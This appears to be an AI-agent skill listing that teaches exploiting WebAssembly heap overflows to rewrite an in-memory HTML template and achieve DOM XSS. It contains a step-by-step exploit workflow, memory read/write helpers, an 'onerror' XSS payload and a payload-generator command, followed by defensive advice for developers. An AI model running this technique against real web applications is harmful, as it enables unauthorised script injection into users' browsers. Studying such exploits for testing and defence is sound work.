# Wasm Memory Corruption Xss

> Exploit WebAssembly linear memory corruption to bypass XSS filters and achieve DOM XSS. Use this skill whenever the user mentions WebAssembly, WASM, Emscripten, linear memory corruption, memory overflow, heap corruption, XSS bypass, or any scenario where a web app uses WASM modules and sanitization might be bypassed through memory manipulation. This is especially relevant when investigating Emscripten-compiled applications with user-controlled data that gets rendered to the DOM.

- Skill: `abelrguezr/wasm-memory-corruption-xss` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/wasm-memory-corruption-xss`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/wasm-memory-corruption-xss/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/wasm-memory-corruption-xss

---


# WebAssembly Linear Memory Corruption to DOM XSS

This skill guides you through exploiting memory corruption vulnerabilities in WebAssembly modules to bypass XSS filters. The core technique corrupts writable constants in WASM linear memory (like HTML templates) instead of attacking sanitized input directly.

## When to Use This Skill

Use this skill when:
- Investigating web applications that use WebAssembly modules (especially Emscripten-compiled)
- XSS filters are in place but you suspect memory corruption vulnerabilities
- You need to understand WASM memory layout and exploitation techniques
- Debugging WASM applications in Chrome DevTools
- Analyzing Emscripten glue code and Module.cwrap calls

## Core Concept

In WebAssembly:
- **Code** lives in non-writable executable pages
- **Data** (heap, stack, globals, "constants") lives in writable linear memory (64KB pages)
- Buggy C/C++ code can write out-of-bounds and overwrite adjacent objects
- If a constant string used for HTML templating is corrupted, sanitized input becomes executable JavaScript

## Vulnerability Pattern

### Typical Data Model
```c
typedef struct msg {
    char *msg_data;       // pointer to message bytes
    size_t msg_data_len;  // length after sanitization
    int msg_time;         // timestamp
    int msg_status;       // flags
} msg;

typedef struct stuff {
    msg *mess;            // dynamic array of msg
    size_t size;          // used
    size_t capacity;      // allocated
} stuff; // global chat state in linear memory
```

### Vulnerable Logic
1. `addMsg()`: Allocates buffer sized to sanitized input, appends to array, doubles capacity with `realloc()` when needed
2. `editMsg()`: Re-sanitizes and `memcpy()`s new bytes without checking if new length ≤ old allocation → heap overflow
3. `populateMsgHTML()`: Formats sanitized text with a template string in linear memory, returns HTML to DOM sink

## Exploitation Workflow

### Step 1: Reconnaissance

1. **Identify WASM usage**: Look for `.wasm` files, `Module.cwrap` calls, Emscripten glue code
2. **Find memory corruption primitives**: Heap overflow, UAF, unchecked `memcpy`, buffer overflows
3. **Locate HTML templates**: Search for format strings like `<article><p>%.*s</p></article>` in linear memory

### Step 2: Chrome DevTools Setup

```javascript
// Break on first Module.cwrap call and step into WASM call site
// Capture pointer arguments (numeric offsets into linear memory)

// Use typed views to read/write WASM memory
Module.HEAPU8[ptr]  // Read/write single byte
Module.HEAPU8.subarray(ptr, ptr + len)  // Read byte range
```

### Step 3: Memory Grooming

Send enough messages to trigger `realloc()` and ensure the message array (`s->mess`) is adjacent to user buffers in linear memory:

```javascript
// Add N small messages to exceed initial capacity
// After growth, realloc() often places s->mess immediately after the last user buffer
```

### Step 4: Overflow and Pointer Corruption

Overflow the last message via `editMsg()` with a longer payload to overwrite entries in `s->mess`:

```javascript
// Set msg_data of message 0 to point at (stub_addr + 1)
// The +1 skips the leading '<' to keep tag alignment intact
```

### Step 5: Template Rewrite

Edit message 0 so its bytes overwrite the HTML template:

```javascript
// Original: "<article><p>%.*s</p></article>"
// Overwrite with: "img src=1      onerror=%.*s "
```

### Step 6: Trigger XSS

Add a new message with JavaScript content:

```javascript
// Content: "alert(1337)"
// Result: <img src=1 onerror=alert(1337)> executes immediately
```

## Helper Functions

### Memory Search
```javascript
function searchWasmMemory(str) {
  const mem = Module.HEAPU8;
  const pat = new TextEncoder().encode(str);
  for (let i = 0; i < mem.length - pat.length; i++) {
    let ok = true;
    for (let j = 0; j < pat.length; j++) {
      if (mem[i + j] !== pat[j]) { ok = false; break; }
    }
    if (ok) console.log(`Found "${str}" at memory address:`, i);
  }
  return -1;
}
```

### Byte Manipulation
```javascript
function writeBytes(ptr, byteArray) {
  if (!Array.isArray(byteArray)) throw new Error("byteArray must be an array of numbers");
  for (let i = 0; i < byteArray.length; i++) {
    const byte = byteArray[i];
    if (typeof byte !== "number" || byte < 0 || byte > 255) {
      throw new Error(`Invalid byte at index ${i}: ${byte}`);
    }
    HEAPU8[ptr + i] = byte;
  }
}

function readBytes(ptr, len) {
  return Array.from(HEAPU8.subarray(ptr, ptr + len));
}

function readBytesAsChars(ptr, len) {
  const bytes = HEAPU8.subarray(ptr, ptr + len);
  return Array.from(bytes).map(b => (b >= 32 && b <= 126) ? String.fromCharCode(b) : '.').join('');
}

// Little-endian bytes to int
const bytesToInt = (bytes) => bytes.reduce((acc, b, i) => acc + (b << (8 * i)), 0);
```

## Exploit Payload Generation

Use the `generate-exploit-payload.py` script to create serialized action lists:

```bash
python scripts/generate-exploit-payload.py \
  --groom-count 11 \
  --overflow-msg-id 10 \
  --template-addr 0x12345 \
  --xss-payload "alert(1337)"
```

This generates a JSON action list that can be Base64-encoded and placed in URL parameters.

## Defensive Guidance

### For Developers

1. **Validate lengths in edit paths**: Verify new length ≤ capacity; resize buffers before copy
2. **Use size-bounded APIs**: `snprintf`, `strlcpy`, `memcpy` with explicit bounds
3. **Keep templates immutable**: Store HTML templates in read-only memory or integrity-check before use
4. **Treat JS↔WASM boundaries as untrusted**: Validate pointer ranges/lengths, fuzz exported interfaces
5. **Sanitize at the sink**: Avoid building HTML in WASM; prefer safe DOM APIs over `innerHTML`
6. **Cap memory growth**: Limit WASM memory expansion to prevent excessive allocation

### For Security Teams

1. **Fuzz WASM interfaces**: Test exported functions with malformed inputs
2. **Monitor memory patterns**: Look for unusual `realloc()` sequences or pointer values
3. **Code review WASM glue**: Check Emscripten bindings for unsafe patterns
4. **Use memory-safe languages**: Consider Rust or other memory-safe alternatives for WASM modules

## Common WASM Pitfalls

- Out-of-bounds writes/reads in linear memory
- Use-after-free on heap objects
- Function-table misuse with unchecked indirect call indices
- JS↔WASM glue mismatches (type confusion, pointer arithmetic errors)
- Unchecked `memcpy`/`memmove` operations
- Integer overflow in size calculations

## References

- [Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox](https://zoozoo-sec.github.io/blogs/PwningWasm-BreakingXssFilters/)
- [V8: Wasm Compilation Pipeline](https://v8.dev/docs/wasm-compilation-pipeline)
- [V8: Liftoff (baseline compiler)](https://v8.dev/blog/liftoff)
- [Debugging WebAssembly in Chrome DevTools](https://www.youtube.com/watch?v=BTLLPnW4t5s)
- [SSD: Intro to Chrome exploitation (WASM edition)](https://ssd-disclosure.com/an-introduction-to-chrome-exploitation-webassembly-edition/)

